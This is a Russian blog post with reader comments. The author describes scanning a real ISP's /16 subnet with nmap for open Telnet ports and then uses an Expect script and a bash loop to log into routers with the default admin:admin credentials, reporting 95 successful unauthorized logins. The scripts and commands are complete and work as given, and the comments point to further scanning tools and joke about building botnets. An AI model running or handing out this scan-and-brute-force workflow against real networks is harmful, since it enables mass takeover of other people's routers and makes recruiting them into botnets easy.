Итак, задача: просканировать какую-нибудь подсеть и найти уязвимые роутеры.
Условия выполнения: не более нескольких часов (на дворе всё-таки лето), используя только стандартные средства системы Linux. Да, я в курсе про проекты типа Kali и вагоны «хакерского» софта в них, но найти нужную программу, которая сделала бы это прямо «из коробки» мне сходу не удалось, а время-то идёт… Да и интереснее самому.
Первая мысль, которая приходит в голову: сканировать nmap'ом по открытому 80 порту. Но что делать с огромным зоопарком веб-морд? Ведь цель — не написать универсальный комбайн-уничтожитель роутеров, а небольшой proof-of-concept. А нет ли какой-нибудь унифицированной системы авторизации на роутерах? Конечно же есть — Telnet! Начинаем!
Выбираем жертв: вводим в Google «имя_провайдера диапазон адресов». Я выбрал провайдера на букву «У» и одну из его подсетей вида XX.XX.00.00/16, то есть ни много ни мало ~65536 адресов.
nmap --open XX.XX.0.0/16 -p 23 > raw_log.txt
Так мы ищем роутеры (и любые другие железки) с открытым 23 портом (Telnet), а ключ
--open
позволяет вывести только нужные адреса, что упрощает дальнейшую обработку.Проходит немногим более 40 минут, и список из 2100 адресов у нас на рабочем столе. А всего было доступными 18000 хостов.
Для наших целей выхлоп nmap слишком пёстрый, его скрипту не скормишь, нужно отсеять только адреса. С этим справится незаменимый grep, а именно:
grep -o -E '([0-9]{1,3}[\.]){3}[0-9]{1,3}' raw_log.txt > log.txt
Регулярное выражение может испугать начинающего греповца, но на самом деле оно очень простое: блок вида «от одной до трёх цифр + точка» трижды + блок «от одной до трёх цифр». Ключ
-o
выводит только найденную подстроку, что нам и требуется.Можно немного отдохнуть и поподключаться вручную к данным IP с помощью telnet. Кое-где соединение обрывается, но много где и подключается. Более того, из десятка попробованных IP уже два оказалось рабочими роутерами с автоматическим логином и паролем admin, что не может не радовать.
Кто-то бы на этом остановился, но только не мы, ведь наша цель — не похозяйничать в чужих роутерах, а более возвышенная — статистическое исследование.
Попытки автоматизации telnet'а «в лоб» не увенчались успехом: просто так его в bash-скрипт завернуть не удавалось. Проблема была в автоматической подстановке пароля: все известные мне способы (пайпы, эхи и кэты) здесь не сработали. Пришлось открывать для себя способы неизвестные: Expect — инструмент для автоматизации и тестирования в ОС Unix, написанный Don Libes как расширение к скрипт-языку Tcl, для интерактивных приложений таких, как telnet, ftp, passwd, fsck, rlogin, tip, ssh, и других. В статье из википедии первым же примером приводится автоматическая авторизация по telnet — ну просто подарок. Код пришлось немного «подпилить» под свои нужды, вот уже готовое тело программы для перебора: исполняемый файл try_telnet
#!/usr/bin/expect -f
set SERVER [lindex $argv 0];
set USER [lindex $argv 1];
set PASS [lindex $argv 2];
set timeout 1
spawn telnet $SERVER
expect ":"
send "$USER\r"
expect ":"
send "$PASS\r"
expect ">" {puts "\nFOUND $SERVER $USER:$PASS\n"; exit 0}
exit 1
Команда expect следует своему буквальному значению: ждёт приглашения на ввод логина и пароля, а потом и ввода команд. Если получен шелл, то скрипт радостно рапортует об этом в общий поток вывода строкой, которую потом удобно грепать.
Интересный факт: в Википедии и других ресурсах в качестве маркера шелла указан "#". Путём экспериментов выяснилось, что этот способ не работает на большой доле уязвимых роутеров, а именно TP-LINK, которые дают приглашение на ввод команд вида
TP-LINK>
Однако маркер ">" универсален — он работает и на узявимых D-Link, которые дают приглашение вида
DSL-2600U#
Осталось только написать однострочный bash: исполняемый файл brute
#!/bin/bash
while read line; do ./try_telnet $line admin admin; done < log.txt
И запускаем
./brute > out.txt
В stderr скрипт ругается в случае connection refused — не обращайте внимания. Полезную работу скрипта можно вживую наблюдать в файле out.txt (не забывая его периодически обновлять).
Проходит 35 минут и скрипт завершает работу. Просеиваем результат с помощью
grep 'FOUND' out.txt > final.txt
Получаем 95 роутеров с авторизацией admin:admin — цель достигнута.
В итоге из 18000 адресов оказалось 95 роутеров, на которые из любой точки земного шара можно зайти по admin:admin. Веб-интерфейс у всех тоже открыт. Много это или мало? Напоминаю, что мы искали лишь роутеры с открытым telnet, и попробовали лишь одну стандартную связку для авторизации (хоть и самую распространённую).
В основном оказались уязвимы роутеры TP-LINK и D-link различных моделей. Если у вас такой роутер, то его стоит проверить! Также нашлось несколько ZyXEL, Huawei, Asotel, ZTE.
В заключение хочу сказать, что я честно попытался информировать провайдера, однако электронной почты у него нет, толька форма «для обращений» с полями обязательного ввода «домашний адрес» и «телефон». Тогда друг и посоветовал написать на Хабрахабр. Всем спасибо!
Комментарии (13)
kacang
20.07.2015 14:31Мне интересно — много народу сканирует на такие раутеры. От LizardSquad-a до Linux.Moose, ну и Shodan в догонку. Как могут всё еще находиться новые, незахваченные?
ITLav
20.07.2015 22:44+1Если роутер правильно захватывать, то об этом никто не узнает, соответственно, один роутер может участвовать сразу в нескольких ботнетах.
FeNUMe
20.07.2015 17:11+3Есть такая вещь как RouterScan, сканит заданные диапазоны айпишек на присутствие роутеров с уязвимостями, выдает кучу инфы включая лог/пасс от админки
СкринDywar
20.07.2015 19:51Палим контору, пусть пишут telnnet :) (шутка)
Хотя софт хороший, давно пользуюсь.
sigmatik
20.07.2015 22:44-2А с какой целью вы пытались информировать провайдера? Как он по вашему должен был отреагировать на ваше обращение? Открытые порты роутеров абонентов это как бы личные проблемы абонентов
ITLav
20.07.2015 22:45+2Это личные проблемы абонентов кроме случаев, когда роутер настраивали сотрудники провайдера, а это далеко не редкость.
FeNUMe
20.07.2015 23:29+1Очень часто провайдеры проводят акции по раздаче роутеров клиентам(«оплати полгода получи роутер за 1 копейку»). Роутеры естественно самые дешевые и дырявые, часто даже со стандартным пассом, в таком случае можно попробовать их информировать.
Lux_In_Tenebris
21.07.2015 03:54+1А может лучше использовать готовый NSE скрипт, чем изобретать велосипед?
Protos
07.08.2015 10:37так и не разобрался как его запустить:
toster.ru/q/236241
Как выглядят для него файлики с логинами и паролями?
catharsis
из них получается неплохой ботнет